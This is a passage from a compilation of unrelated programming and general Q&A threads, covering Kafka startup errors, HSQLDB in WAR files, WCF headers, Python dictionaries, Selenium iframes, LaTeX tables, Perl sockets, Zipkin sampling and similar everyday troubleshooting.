  webpack: (config) => {
    // this is where you add custom configuration for webpack
    return config;
  },

  env: {
  // this is where you set env variables for the client side
    BASE_URL: process.env.BASE_URL,

  },
  pwa: {
   // this where you add progressive web app setting
    dest: "public",
    swSrc: "service-worker.js",
   },
};


text:
Q: Why kafka doenst start for me? I'm learning kafka at the moment but unfortunately I'm stuck because my kafka can't start when I run the following command in cmd
kafka-server-start.bat .\config\server.properties
my zookeeper works very well
here is the error
    [2021-09-23 17:18:03,849] INFO Opening socket connection to server localhost/<unresolved>:2181. Will not attempt to authenticate using SASL (unknown error) (org.apache.zookeeper.ClientCnxn)
[2021-09-23 17:18:03,850] WARN Session 0x0 for server localhost/<unresolved>:2181, unexpected error, closing socket connection and attempting reconnect (org.apache.zookeeper.ClientCnxn)
java.nio.channels.UnresolvedAddressException
        at java.base/sun.nio.ch.Net.checkAddress(Net.java:149)
        at java.base/sun.nio.ch.Net.checkAddress(Net.java:157)
        at java.base/sun.nio.ch.SocketChannelImpl.checkRemote(SocketChannelImpl.java:816)
        at java.base/sun.nio.ch.SocketChannelImpl.connect(SocketChannelImpl.java:839)
        at org.apache.zookeeper.ClientCnxnSocketNIO.registerAndConnect(ClientCnxnSocketNIO.java:277)
        at org.apache.zookeeper.ClientCnxnSocketNIO.connect(ClientCnxnSocketNIO.java:287)
        at org.apache.zookeeper.ClientCnxn$SendThread.startConnect(ClientCnxn.java:1021)
        at org.apache.zookeeper.ClientCnxn$SendThread.run(ClientCnxn.java:1064)
[2021-09-23 17:18:04,318] INFO [ZooKeeperClient] Closing. (kafka.zookeeper.ZooKeeperClient)
[2021-09-23 17:18:04,956] INFO Opening socket connection to server localhost/<unresolved>:2181. Will not attempt to authenticate using SASL (unknown error) (org.apache.zookeeper.ClientCnxn)
[2021-09-23 17:18:05,061] INFO Session: 0x0 closed (org.apache.zookeeper.ZooKeeper)
[2021-09-23 17:18:05,061] INFO EventThread shut down for session: 0x0 (org.apache.zookeeper.ClientCnxn)
[2021-09-23 17:18:05,069] INFO [ZooKeeperClient] Closed. (kafka.zookeeper.ZooKeeperClient)
[2021-09-23 17:18:05,082] ERROR Fatal error during KafkaServer startup. Prepare to shutdown (kafka.server.KafkaServer)
kafka.zookeeper.ZooKeeperClientTimeoutException: Timed out waiting for connection while in state: CONNECTING
        at kafka.zookeeper.ZooKeeperClient.$anonfun$waitUntilConnected$3(ZooKeeperClient.scala:230)
        at scala.runtime.java8.JFunction0$mcV$sp.apply(JFunction0$mcV$sp.java:12)
        at kafka.utils.CoreUtils$.inLock(CoreUtils.scala:251)
        at kafka.zookeeper.ZooKeeperClient.waitUntilConnected(ZooKeeperClient.scala:226)
        at kafka.zookeeper.ZooKeeperClient.<init>(ZooKeeperClient.scala:95)
        at kafka.zk.KafkaZkClient$.apply(KafkaZkClient.scala:1581)
        at kafka.server.KafkaServer.createZkClient$1(KafkaServer.scala:348)
        at kafka.server.KafkaServer.initZkClient(KafkaServer.scala:372)
        at kafka.server.KafkaServer.startup(KafkaServer.scala:202)
        at kafka.server.KafkaServerStartable.startup(KafkaServerStartable.scala:38)
        at kafka.Kafka$.main(Kafka.scala:75)
        at kafka.Kafka.main(Kafka.scala)
[2021-09-23 17:18:05,087] INFO shutting down (kafka.server.KafkaServer)
[2021-09-23 17:18:05,097] WARN Cannot invoke "kafka.utils.KafkaScheduler.shutdown()" because the return value of "kafka.server.KafkaServer.kafkaScheduler()" is null (kafka.utils.CoreUtils$)
java.lang.NullPointerException: Cannot invoke "kafka.utils.KafkaScheduler.shutdown()" because the return value of "kafka.server.KafkaServer.kafkaScheduler()" is null
        at kafka.server.KafkaServer.$anonfun$shutdown$6(KafkaServer.scala:579)
        at kafka.utils.CoreUtils$.swallow(CoreUtils.scala:86)
        at kafka.server.KafkaServer.shutdown(KafkaServer.scala:579)
        at kafka.server.KafkaServer.startup(KafkaServer.scala:329)
        at kafka.server.KafkaServerStartable.startup(KafkaServerStartable.scala:38)
        at kafka.Kafka$.main(Kafka.scala:75)
        at kafka.Kafka.main(Kafka.scala)
[2021-09-23 17:18:05,111] INFO shut down completed (kafka.server.KafkaServer)
[2021-09-23 17:18:05,112] ERROR Exiting Kafka. (kafka.server.KafkaServerStartable)
[2021-09-23 17:18:05,116] INFO shutting down (kafka.server.KafkaServer)

i use kafka 2.12-2
java 17

A: I had the same problem (I was using Java 17). Following the advice of @OneCricketeer I switched to java 11 and everything worked as expected.


text:
Q: HSQLDB in resources within a WAR I've developed a small application using Spring Boot, which uses HSQLDB as a database to store users, for the time being. What I want to do is store the database within Maven's resource folder. My application.properties file contains the following configuration:
#...
spring.datasource.url=jdbc:hsqldb:file:src/main/resources/database/dashboard
#...

So, whenever I start the application with Java (right click on my Application's main() and Run As Spring Boot App), the database is stored right.
But, after packaging a WAR file with mvn clean install spring-boot:repackage, deploying it into Tomcat, e.g., and running it, the database is not stored within the exploded WAR.
My question is how can I tell spring.datasource.url=jdbc:hsqldb:file:* property to store the database within Maven Resources directory (which will point still after exploding the WAR)? Could I use some sort of environment variable as used in pom.xml?
EDIT
Given the answers by @Steve C and @fredt, I've realised that the database shouldn't be stored within the war. Instead, I'll store it within the user's Home dir spring.datasource.url=jdbc:hsqldb:file:~/tomcat_webapp_data/dashboard/database.. Thank you so much!

A: The directories and contents of a WAR file are read-only.
You can set the read_only flag in the HSQLDB database .properties file before including in the WAR. You access this kind of database with a jdbc:hsqldb:res:<path> URL.
If you want to store data in a persistent and updatable database, connect to the (at first non-existent) database within your application and set up its tables if they don't yet exist with data from a resource. You can then store data. The database path should be outside the directories that are used for jars and resources.
Contrary to one of the comments, HSQLDB is not limited to storing data in memory and can have disk-based tables, called CACHED tables.
You can include a variable in the database URL to pick up a pre-defined property from the web server. For example:
jdbc:hsqldb:file:${mydbpath}

See http://hsqldb.org/doc/2.0/guide/dbproperties-chapt.html#dpc_variables_url

A: Maven's src/main/resources directory is a build time path, not a runtime path.
If you're building a jar file, then everything in src/main/resources is copied to the root of the jar.
If you're building a war file, then everything in src/main/resources is copied to the root of the /WEB-INF/classes directory in the war.
Now, your JDBC URL jdbc:hsqldb:file:src/main/resources/database/dashboard is indicating a file with a relative path. At runtime this path is relative to the current working directory - and it's unlikely to exist at runtime anyway.
If you really want to build the database within your WAR, then given:

*

*you're deploying an exploded WAR file (it's impossible to write to the content of the WAR file itself);

*you really really want to store the database within the exploded WAR;

*you want to put it in WEB-INF/database/dashboard (there's security implications if you store outside of the WEB-INF directory);
then you can compute the JDBC url using something like:
...
String databaseDirectoryName = servletContext.getRealPath("WEB-INF/database");
File databaseDirectory = new File(databaseDirectoryName);
if (!databaseDirectory.exists()) {
    if (!databaseDirectory.mkdirs()) {
        throw new RuntimeException("Failed to create database directory");
    }
}
File databaseFile = new File(databaseDirectory, "dashboard");
String jdbcURL = "jdbc:hsqldb:" + databaseFile.toURI();
...

Getting that into your Spring configuration is an exercise for you; but using @Configuration and @Bean springs to mind as a way to do this - you just need to get access to the servletContext at Spring configuration time.


text:
Q: I connect to my app using provider in Firebase Flutter I was getting this error when I was debugging by Application upon registration to flutter Firebase Firestore. I need help.
Stacktrace:
W/DynamiteModule( 2822): Local module descriptor class for providerinstaller not found.
I/DynamiteModule( 2822): Considering local module providerinstaller:0 and remote module providerinstaller:0
W/ProviderInstaller( 2822): Failed to load providerinstaller module: No acceptable module found. Local version is 0 and remote version is 0.


text:
Q: For those that like that sort of thing, that is the sort of thing they like Can any one please explain the saying:
"For those that like that sort of thing, that is the sort of thing they like"
Does it mean:
When someone likes some sort of thing, that sort of thing is actually what he or she could or should like? meaning that what you like reflects your personality?

A: This is a well-known quote from Muriel Spark's novel about a teacher in a private girls school in Scotland, The Prime of Miss Jean Brodie:

"For those who like that sort of thing," said Miss Brodie in her best
  Edinburgh voice, "That is the sort of thing they like."

(The character is talking about the Girl Guides, an organization similar to the Girl Scouts.)
Taken literally, it seems almost tautological:  if you like something like this, then you'll like something like this.  But the key to understanding the quote is understanding the character, who is an awful snob and convinced of her superior tastes.  Miss Brodie is being dismissive (in particular of scouting activities).  She's saying that if your tastes are inferior in general, i.e, if you are inclined to like things that are unworthy of serious consideration, then here is an example of something in particular that's unworthy and will thus suit your inferior tastes.

A: It's almost like saying "you must do whatever you think is best", meaning "I don't agree with what you intend to do". Brodie here is saying that she doesn't approve of (the thing), and as far as she is concerned, only people with no taste would even think of 'liking' the ting; she most definitely would not. I was in the play, myself, many years ago, and the meaning came across very clearly. Typically self-opinionated teacher attitude.


text:
Q: bash iterate a list to make a channel hopping I want to iterate a list to make a channel hopping. The value $channel is correct in the iteration but the "iw dev" command is not getting the correct value of $channel.
channellist=(1 3 6 11)
while :
do
    for channel in "${channellist[@]}"
        do
            sudo iw dev mon0 set channel $channel
            echo "$channel"
        done
done

A: This would result in your channel switching as fast as possible I am unsure if this is intended. There may not be enough time for other processes to accurately collect data:
$ channellist=(1 3 6 11)
$ while :
> do
>     for channel in "${channellist[@]}"
>         do
>             time echo some command set channel $channel
>             echo "$channel"
>             sleep 1
>         done
> done
some command set channel 1

real    0m0.000s
user    0m0.000s
sys 0m0.000s
1
some command set channel 3

real    0m0.000s
user    0m0.000s
sys 0m0.000s
3
some command set channel 6

real    0m0.000s
user    0m0.000s
sys 0m0.000s
6
some command set channel 11

real    0m0.000s
user    0m0.000s
sys 0m0.000s
11
some command set channel 1

real    0m0.000s
user    0m0.000s
sys 0m0.000s
1
^C
$

Edit:
As you can see with the above information the Commands ran under 0.0005 s granted echo might be a lot faster than sudo iw but it is still probably fractions of a second.


text:
Q: return the row and column of the absolute value in excel vba my question is why doesn't it like the AddressOfMaxRow & AddressOfMaxCol variables? Am I being an idiot?
Function MaxABS(rng, AddressOfMaxRow, AddressOfMaxCol, MaxVal)

Dim arr As Variant

arr = rng.Value

For i = 1 To UBound(arr, 1)

    For j = 1 To UBound(arr, 2)
        arr(i, j) = VBA.Abs(arr(i, j))
    Next
Next

MaxVal = Application.WorksheetFunction.Max(arr)

AddressOfMaxRow = WorksheetFunction.Index(arr, WorksheetFunction.Match(WorksheetFunction.Max(arr), arr, 0)).Cells.Row

AddressOfMaxCol = WorksheetFunction.Index(arr, WorksheetFunction.Match(WorksheetFunction.Max(arr), arr, 0)).Cells.Column

End Function

A: Perhaps something like this, which returns the address (e.g. $D$9) of the "max" cell, but can be tweaked to return the row and column as needed.
Note that this assumes that rng only contains numeric values and can be beefed up to not error if there's text, for example. It will also only return the first max value address if the max value appears more than once.
Function MaxABS(rng As Range) As String
    Dim arr As Variant
    arr = rng.Value

    Dim i As Long, j As Long
    Dim tempMax As Double
    Dim tempRow As Long, tempCol As Long

    For i = 1 To UBound(arr, 1)
        For j = 1 To UBound(arr, 2)
            arr(i, j) = VBA.Abs(arr(i, j))
            If arr(i, j) > tempMax Then
                tempMax = arr(i, j)
                tempRow = i
                tempCol = j
            End If
        Next j
    Next i

    MaxABS = rng.Cells(tempRow, tempCol).Address
End Function

To return the row and column (separated by a comma since the desired output format was not specified), replace the last line
MaxABS = rng.Cells(tempRow, tempCol).Address

with the following:
With rng.Cells(tempRow, tempCol)
    MaxABS = .Row & "," & .Column
End With

with sample output of 9, 4 instead of $D$9.


text:
Q: Removing Expect: 100-continue from basicHttpBinding I'd like to remove the Expect: 100-continue header that is added by the underlying HttpWebRequest used in basicHttpBinding. I am aware of the option to simply set ServicePointManager.Expect100Continue to false. However, the problem with this approach is that it is global, i.e. it applies to all web requests initiated in the process. I would like to limit the scope of this to a specific WCF proxy. With an ASMX proxy this used to be easy - I would simply subclass the generated proxy which is a subclass of SoapHttpClientProtocol and override GetWebRequest. I would then call the base implementation and set the Expect100Continue on the returned web request object.
I am trying to apply a similar approach with WCF but can't quite find a method to "intercept" the HttpWebRequest created by the transport channel. Is this possible?

A: For System.ServiceModel.Http 4.5, we can create a custom BasicHttpBinding injecting a HttpMessageHandler in the HttpClient pipeline:
class CustomHttpBinding: BasicHttpBinding
{
    public override BindingElementCollection CreateBindingElements()
    {
        var elements =  base.CreateBindingElements();
        var transport = elements.Find<HttpsTransportBindingElement>();
        if (transport != null)
        {
            elements.Remove(transport);
            elements.Add(CustomHttpsTransportBindingElement.CreateFromHttpsTransportBindingElement(transport));
        }
        return elements;
    }
}

class CustomHttpsTransportBindingElement: HttpsTransportBindingElement
{
    private Func<HttpClientHandler, HttpMessageHandler> _createDelegatingHandler = client => new CustomHttpMessageHandler(client);
    public override IChannelFactory<TChannel> BuildChannelFactory<TChannel>(BindingContext context)
    {
        context.BindingParameters.Add(_createDelegatingHandler);
        return base.BuildChannelFactory<TChannel>(context);
    }

    public override BindingElement Clone()
    {
        return CreateFromHttpsTransportBindingElement(this);
    }

    public static CustomHttpsTransportBindingElement CreateFromHttpsTransportBindingElement(HttpsTransportBindingElement from)
    {
        return new CustomHttpsTransportBindingElement
        {
            AllowCookies = from.AllowCookies,
            AuthenticationScheme = from.AuthenticationScheme,
            BypassProxyOnLocal = from.BypassProxyOnLocal,
            ManualAddressing = from.ManualAddressing,
            MaxBufferSize = from.MaxBufferSize,
            MaxReceivedMessageSize = from.MaxReceivedMessageSize,
            ProxyAddress = from.ProxyAddress,
            ProxyAuthenticationScheme = from.ProxyAuthenticationScheme,
            RequireClientCertificate = from.RequireClientCertificate,
            TransferMode = from.TransferMode,
            UseDefaultWebProxy = from.UseDefaultWebProxy,
            WebSocketSettings = from.WebSocketSettings
        };
    }
}

class CustomHttpMessageHandler: DelegatingHandler
{
    public CustomHttpMessageHandler(HttpMessageHandler innerHandler): base(innerHandler)
    {
    }
    protected override Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, CancellationToken cancellationToken)
    {
        request.Headers.ExpectContinue = false;
        return base.SendAsync(request, cancellationToken);
    }
}

If you are not on HTTPS, override HttpTransportBindingElement instead of HttpsTransportBindingElement

A: You can do it in code for a specific endpoint as follows:
System.Net.ServicePoint servicePoint =
     System.Net.ServicePointManager.FindServicePoint(myWcfService.Endpoint.Address.Uri);

servicePoint.Expect100Continue = false;
// now execute some service operation

I don't think its possible to do it via the config.


text:
Q: Updating Textmate's Markdown Bundle URL Regex Hey all, I'm looking to do pretty much what the title says. As-is, the seemingly favored Textmate Markdown bundle chokes on some URLs. What I'd like to do is implement @diegoperini's pattern to properly match URLs.
Some problems on my end: I suck with Regular Expressions, and I've never edited a Textmate bundle.
I'm not sure how to even explain what I'm trying. So essentially what I'm looking for is someone to point me in the right direction and help me along in getting this sorted out, and learn a bit more about Textmate and regex along the way.
Thanks so much.

A: *

*I like to use Rubular.com for learning and testing Regex.

*You want to use the Bundle Editor.

*

*Read this.

*Check out Textmate Screencasts.

*You could also buy the Peepcode screencast on Textmate. It has some info about bundle editing that may be useful, although there's not huge amounts on what you want.

*There is also a book
Good luck!


text:
Q: ggplot: generate a plot of coloured segments I have bands, a data frame that contains the (date, y) coordinates of a set of lines.
The lines look as almost perfect horizontal lines.
                          entryL      entryH         exitL        exitH
11/06/2013 00:00:00 -0.011269079 0.011269079 -0.0005634540 0.0005634540
11/05/2013 00:00:00 -0.011247277 0.011247277 -0.0005623638 0.0005623638
11/04/2013 00:00:00 -0.011246974 0.011246974 -0.0005623487 0.0005623487
11/01/2013 00:00:00 -0.011239644 0.011239644 -0.0005619822 0.0005619822
10/31/2013 00:00:00 -0.011237719 0.011237719 -0.0005618859 0.0005618859
10/30/2013 00:00:00 -0.011236857 0.011236857 -0.0005618428 0.0005618428
10/29/2013 00:00:00 -0.011278355 0.011278355 -0.0005639178 0.0005639178

I have posFrame, a data frame that contains another line (Spread) and a marker column (Positioning), that defines the state of the system.
                    Positioning        Spread
11/06/2013 00:00:00        Idle -1.309504e-03
11/05/2013 00:00:00        Idle  2.517881e-03
11/04/2013 00:00:00        Idle  1.035712e-03
11/01/2013 00:00:00        Idle  6.470740e-03
10/31/2013 00:00:00        Idle  4.975187e-03
10/30/2013 00:00:00        Idle  3.655266e-03
10/29/2013 00:00:00        Idle -8.704032e-03
10/28/2013 00:00:00       Short  2.790278e-03
10/25/2013 00:00:00       Short  6.690602e-03
10/24/2013 00:00:00       Short  3.098176e-03

I would like to plot the two data frames together. This is my current attempt.
bands$time <- rownames(bands)
bands$time <- as.POSIXct(bands$time, format = "%m/%d/%Y %H:%M:%S")
posFrame$time <- rownames(posFrame)
posFrame$time <- as.POSIXct(posFrame$time, format = "%m/%d/%Y %H:%M:%S")
frame.m <- melt(frame, id = "time")
ggplot() +
  geom_line(data = frame.m, aes (x = time, y = value, colour= variable)) +
  geom_jitter(data = posFrame, aes(x = time, y = Spread, colour = Positioning)) +
  geom_line(data = posFrame, aes(x = time, y = Spread)) +
  guides(color=guide_legend(override.aes=list(shape=c(NA,16),linetype=c(1,0))))

The picture does not look good.
It would be great if I could plot the Spread line in colored segments where the color  matches the color of the previous marker diamond.
Furthermore, I do not understand why the legend mixes the diamond color, associated to Positioning and the solid line colors, associated with the bands.
I am not sure how I could proceed..
Thank you.


text:
Q: problem in fantasy game inventory program (RuntimeError: dictionary size changed during iteration) I'm working on a problem given in chapter 5 of the book Automate Boring Stuff with Python in which I have to define a function (addToInventory) which is supposed to add items in a list (named dragonLoot) to a dictionary (called inv) and another function (displayInventory) which is supposed to display the new dictionary (inv). The displayInventory function works fine when I test it separately, but when I run the complete program I'm getting RuntimeError: dictionary size changed during iteration. Here is my code:
def displayInventory(inv):
    for k,j in inv.items(): #to display inv in format of a game inventory
        print(k,end=':')
        print(j)
def addToInventory(inv,dragonLoot):
    for a,b in inv.items(): #a represents key and b represents values
        for c in range(len(dragonLoot)-1):
            if a==dragonLoot[c]: #to check items in dragonLoot
                b+=1 #adding 1 to value if its corresponding key exists in dragonloot
            else:
                inv.setdefault(dragonLoot[c],1) #adding the new item if it dosent exist in dragonLoot
    return inv
inv = {'gold coin':42,'rope':1}
dragonLoot = ['gold coin','dagger','gold coin','gold coin','ruby']
inv = addToInventory(inv,dragonLoot)
displayInventory(inv)

here is the error:
    Traceback (most recent call last):
  File "c:\users\murali\mu_code\addtoinventory.py", line 16, in <module>
    inv = addToInventory(inv,dragonLoot)
  File "c:\users\murali\mu_code\addtoinventory.py", line 7, in addToInventory
    for a,b in inv.items():
RuntimeError: dictionary changed size during iteration

please tell me where I'm making a mistake and also what kind of mistakes can cause such error.I have also found different solution to this problem but i want to know problem in this program.

A: The issue you're having has to do with calling setdefault on your dictionary (which might add a new item to it) while you're already iterating over the dictionary's items. But there's really no reason for you to be iterating. Dictionaries are most powerful when you're indexing them with a key to see what their value is. Iterating over all the keys is much less efficient.
Here's how I'd do it. First we have only one loop, over the dragonLoot sequence. We don't need to mess with a range to get an index here, just naming the list directly will let us iterate directly over its items. The get method on the dictionary does some indexing, checking if the key is in the dictionary, and it either returns to us the associated existing value, or a default value we give it (as the second argument to get, 0 in this case). Finally, we add one to the value, and do an assignment back to the dictionary, using the loot item as the key again:
def addToInventory(inv, dragonLoot):
    for loot_item in dragonLoot:
        inv[loot_item] = inv.get(loot_item, 0) + 1
    return inv


text:
Q: Trouble targeting elements on website (selenium webdriver) I am trying to target properties on a real estate website. Ideally, I want to pull the property marketing URL, the title, location, and email of each listing.  The properties are all listed as so:

                    Engelberg Antik's

                    Salem, OR

                    Outstanding downtown Salem opportunity, right next…

                    $479,900

                    13,612 SF

                    Street Retail

    ::before

    or call
    503.588.0400
    for more information

         ...

this was my first attempt at it:
from selenium import webdriver
import sys
import smtplib
import pymongo

newProperties = []

driver = webdriver.Firefox()
driver.get('http://svncommercialadvisors.com/properties/')

for property in driver.find_elements_by_class_name('propertyList'):
    #get title,location
    info = property.find_elements_by_class_name('addressInfo')
    email = property.find_elements_by_partial_link_text('.com')

When I run the above, it doesn't give any errors that the driver can't locate elements.  However, when I print out the elements nothing appears. How can I better locate the elements? I would like for something like this, appended to a list:
-title: Engelberg Antik's
-location: Salem, OR
-url: http://svncommercialadvisors.com/properties/?propertyId=74495-sale
-email: brokeremail@svn.com

A: The key problem here is that the search results are loaded in an iframe.
You need to switch to iframe before searching for properties.
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC

driver = webdriver.Firefox()
driver.get('http://svncommercialadvisors.com/properties/')

# wait for frame to appear and switch
frame = WebDriverWait(driver, 10).until(EC.visibility_of_element_located((By.CSS_SELECTOR, "div#buildout iframe")))
driver.switch_to.frame(frame)

for property in driver.find_elements_by_class_name('propertyList'):
    info = property.find_element_by_class_name('addressInfo')
    email = property.find_element_by_partial_link_text('Email')

    print info.text
    print print email.get_attribute('href')

I've also applied two fixes:

*

*replaced find_elements_by_class_namme with find_elements_by_class_name

*replaced property.find_elements_by_partial_link_text('.com') with property.find_element_by_partial_link_text('Email')
It prints:
Engelberg Antik's
Salem, OR
Outstanding downtown Salem opportunity, right next door to the newly renovated Roth and McGilchri...
mailto:jennifer.martin@svn.com


text:
Q: Multirow alignment doesn't work when cells are of different height This is my code:
\documentclass{article}
\usepackage{ctex}
\usepackage{multirow}
\usepackage{longtable}
\usepackage{makecell}
\begin{document}
\begin{longtable}{p{0.2\textwidth}p{0.1\textwidth}p{0.1\textwidth}p{0.1\textwidth}p{0.1\textwidth}}
课型&课程&课时&价格&其他\\
\multirow[b]{3}{*}{foofoofoofoo}&foofoo&\makecell{8课时(4小时)一对一:8800-9780\\16小时(8小时)一对一:12680—13580\\24课时(12小时)一对一:16380—17280}&foo&foo\\
                                                     &foofoo&foo&foo&foo\\
                                                     &foofoo&foo&foo&foo\\
\end{longtable}
\end{document}

and this is the result
As you can see, even though I have chosen option [c], it doesn't align in the center. So how should I approach this problem to make it more aesthetically more appealing

A: Here is an example.
\documentclass{article}
\usepackage{ctex}
\usepackage{multirow}
\usepackage{longtable}
\usepackage{makecell}
\newcolumntype{P}[1]{m{#1\linewidth}}
\newcolumntype{M}[1]{>{\centering\arraybackslash}m{#1\linewidth}}
\def\test#1{
\noindent
\begin{longtable}{|#1{0.2}|*{4}{#1{0.15}}|}
  课型 & 课程 & 课时 & 价格 & 其他\\
  & foofoo & & foo & foo\\
  \multirow{3}{*}{foofoofoo} &
  \multicolumn{4}{c|}{
    \multirowcell{3}[0pt][c]{
      8课时(4小时)一对一:8800-9780\\
      16小时(8小时)一对一:12680—13580\\
      24课时(12小时)一对一:16380—17280
    }
  }\\
  &&&&\\
  &&&&\\
  &foofoo&foo&foo&foo\\
  &foofoo&foo&foo&foo\\
\end{longtable}
}

\begin{document}
\test{P}
\test{M}
\end{document}


text:
Q: How to keep a socket connection open to send messages back and forth I'm writing something to relay work to other machines (similar to gearman) I am doing it to learn about socket programming but I am getting really confused
Desired workflow:
    [client] -> [server] -> [worker1],[worker2],etc
I'm planning to send thousands of jobs (urls) so I think creating a new socket every single request is overkilling, I want to keep an active connection between server and client and server and workers.
This is my implementation but I know there is a better way to do it, I have looked all over the net to find examples but finally decided to post the question here
use IO::Socket::INET;
use feature qw(say);
use strict;

my $socket = new IO::Socket::INET (
    LocalHost => '0.0.0.0', LocalPort => '7779',
    Proto => 'tcp', blocking => 1, Reuse => 1, Listen => 5
) or die $!;

while(1)
{
    if(my $client_socket = $socket->accept()  ){
        say "Client connected: " .$client_socket->peerhost . ":" . $client_socket->peerport;

        my $last_msg_time = time;
        while(1){ #I WILL MOVE THIS LOOP TO A CHILD PROCESS OR A THREAD
            my $data; $client_socket->recv($data,1024);
            if($data eq "*DISCONNECT" || time - $last_msg_time > 10){
                say "Timeout";
                last;
            }
            if($data){
                my $last_msg_time = time;
                say "Received: $data";
                $client_socket->send("OK!");
            }
        }
    }
}

$socket->close;

client:
use IO::Socket::INET;
use feature qw(say);

my $socket = new IO::Socket::INET (
    PeerHost => '127.0.0.1',PeerPort => '7779',
    Proto => 'tcp', blocking => 1
) or die "Cannot connect to the server $!\n";

$socket->send("hello world");

my $response; $socket->recv($response, 1024);
say "received response: $response";
$socket->send("hi again");

$socket->send("*DISCONNECT");

#shutdown($socket, 1);
$socket->close();

A: The server needs to keep the sockets in a hash map, like this:
if (my $client_socket = $socket->accept()) {
    $client_sockets{$client_socket->peerhost . ":" . $client_socket->peerport} = $client_socket;
}

and to loop through all entries to check for new data or disconnect requests:
foreach my $key (keys %client_sockets) {
    my ($host, $port) = split/:/,$key;
    my $socket = $client_sockets{$key};
    #handle socket
    delete $client_sockets{$key} if $disconnected;
}

You probably want to kick a worker thread for each new socket. Store the thread handles likewise in a hash map.


text:
Q: Issue with JQuery Image Rotator I have an image rotator that was created using JQuery, but when it runs I'm getting an error message that says Microsoft JScript runtime error: Object Expected.  Here is the code that I'm using.
Thanks in advance!
<!doctype html>

<title>JQuery Test</title>

A: it worked for me, just delete following:
$j = jQuery.noConflict();

hope it helps...


text:
Q: Sleuth not sending trace information to Zipkin Sleuth is not sending the trace information to Zipkin, even though Zipkin is running fine.
I am using Spring 1.5.8.RELEASE, spring cloud Dalston.SR4 and I have added the below dependencies in my microservices:
<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-sleuth</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-starter-zipkin</artifactId>
</dependency>

My Logs are always coming false:
[FOOMS,2e740f33c26e286d,2e740f33c26e286d,false]
My Zipkin dependencies are:
<dependency>
    <groupId>io.zipkin.java</groupId>
    <artifactId>zipkin-server</artifactId>
</dependency>
<dependency>
    <groupId>io.zipkin.java</groupId>
    <artifactId>zipkin-autoconfigure-ui</artifactId>
    <scope>runtime</scope>
</dependency>

Why am I getting false instead of true in my slueth statements? The traceId and SpanId are properly generated for all the calls though. My Zipkin is running in port 9411

A: If you are exporting all the span data to Zipkin, sampler can be installed  by creating a bean definition in the Spring boot main class
  @Bean
  public Sampler defaultSampler() {
    return new AlwaysSampler();
  }

A: I found that I need to add a sampler percentage. By default zero percentage of the samples are sent and that is why the sleuth was not sending anything to zipkin. when I added spring.sleuth.sampler.percentage=1.0 in the properties files, it started working.

A: For the latest version of cloud dependencies <version>Finchley.SR2</version>
The correct property to send traces to zipkin is: spring.sleuth.sampler.probability=1.0
Which has changed from percentage to probability.


text:
Q: MySQL prompted twice for password So I created a user account for a database entitled "publications" with a password...

e.g. GRANT ALL ON publications.* to 'myname'@'localhost' IDENTIFIED BY 'mypasswd';

As usual, I type
C:\....address of mysql.exe..." -u username

However, it doesn't work and cmd closes!
I then type
C:\....address of mysql.exe..." -u username -p mypassword

And it opens, but I am prompted for yet another password.
I try my best to enter my password which I know is correct, and I am continuously locked out of my account.
I just started MySQL/PHP web programming. Please help! Do I have to reinstall my Wamp Server?

A: In Linux at least (not tried on Win) there is no space between the -p and the password when entered on the command line
sudo mysql -u admin -ppassword

With the space MySQL will prompt you for the password

A: Instead of typing your password on the same line as the rest of the command, try and leave it with -p at the end.. Then it should ask for your password on the next line where it should let you in only once.


text:
Q: Longitudinal data analysis with a single group I need you assistance with finding the right model to analyze longitudinal data with a single group. My data comes from the ophthalmic field, i.e. eyes. I have n subjects. For each subject, one eye was chosen by random, and some treatment was applied to reduce the pressure inside the eye (a continuous scale).
The second eye was not treated, but the pressure was measured there as well. I have several time periods: Before treatment was applied, after 1 week, after 2 weeks and after a month.
I want to know if the treatment works, and basically could settle for a paired t-test using 1 time period and comparing it to the before values.
However, I have noticed a correlation between the treated and untreated eyes. The correlation is 0.8!
So I thought that maybe, using the untreated eye, I could explain some of the variability.
To sum it up, I have one group of treatment, I have 4 time periods and I have another eye for control. How do I analyze this for the best?

A: Following is a suggestion. I am not sure if it is the best way. Difference between eyes at each period can be analyzed:
ddf
  subject_id     time left right_active difference_bet_eyes
1          1 baseline   10           12                   2
2          1      1wk   11           13                   2
3          1      2wk   12           12                   0
4          1      4wk   10           12                   2
5          2 baseline   11           13                   2
6          2      1wk   12           12                   0
7          2      2wk   10           12                   2
8          2      4wk   10           10                   0
...

aov.out = aov(difference_bet_eyes ~ time + Error(subject_id/time), data=ddf)
summary(aov.out)

One would be interested to compare it with result of right_active without taking left eye into consideration:
aov.out = aov(right_active ~ time + Error(subject_id/time), data=ddf)


text: Q: How do I setup a VPN server on Ubuntu 14.04 LTS with No-IP? All the installation guides for VPN servers I can find go into huge detail about how to setup an IP address range (e.g. Easiest way to setup Ubuntu as a VPN server). If I'm using No-IP to give my PC an IP address is there a simple way to setup a VPN server?


text:
Q: JS file shows "undefined" when trying to find a value from JSON file I have the following code which shows a testing login page:
const port = 3012;
app.use(express.static('public'));
let urlencodedParser = express.urlencoded({extended: true});
let count = 0; // Visit count
let startDate = new Date(); // Server start Date time

app.get('/login', function(req, res){
     //res.send(`Current Date/Time: ${curDate.toLocaleString()}, Server Up Since: ${startDate.toLocaleString()}`);
    res.render('login.njk');
})
app.post('/loggedin', urlencodedParser, function(req, res){
    console.log(req.body);
    res.send("You logged in");
    let uname = req.body.uname;
    var found = database.find(function (element) {
        return element.email === req.body.uname;
    });
    console.log(found);

})

host = '127.0.0.1';

with a json value with test accounts, one of the values containing this.
{
        "firstName": "Melia",
        "lastName": "Barker",
        "email": "tirrivees1820@outlook.com",
        "password": "hhQcH0PVgMpQq6ve",
        "role": "admin"
    },

EDIT: Here is the NJK code with the uname part.
        <form action="./loggedin" method="post">

            Email:
            <input type="email" id="uname" name="uname">

            Password:
            <input type="password" id="password" name="password">

            <input type="submit" value="Submit" id="signinbutton">
        </form>

I run the JS code and go to the address for the login page, and type the following email and password out. However, when I try to run the code, the node.js program shows the JSON email and password, but then "undefined" instead of the email. How can I fix my find function to make the console show the email?

A: UPDATE: I just found out that I was using the wrong JSON file for the database variable, and I changed it, and it worked this time. To everyone who tried to post an answer or a reply, I apologize for the inconvinience.


text:
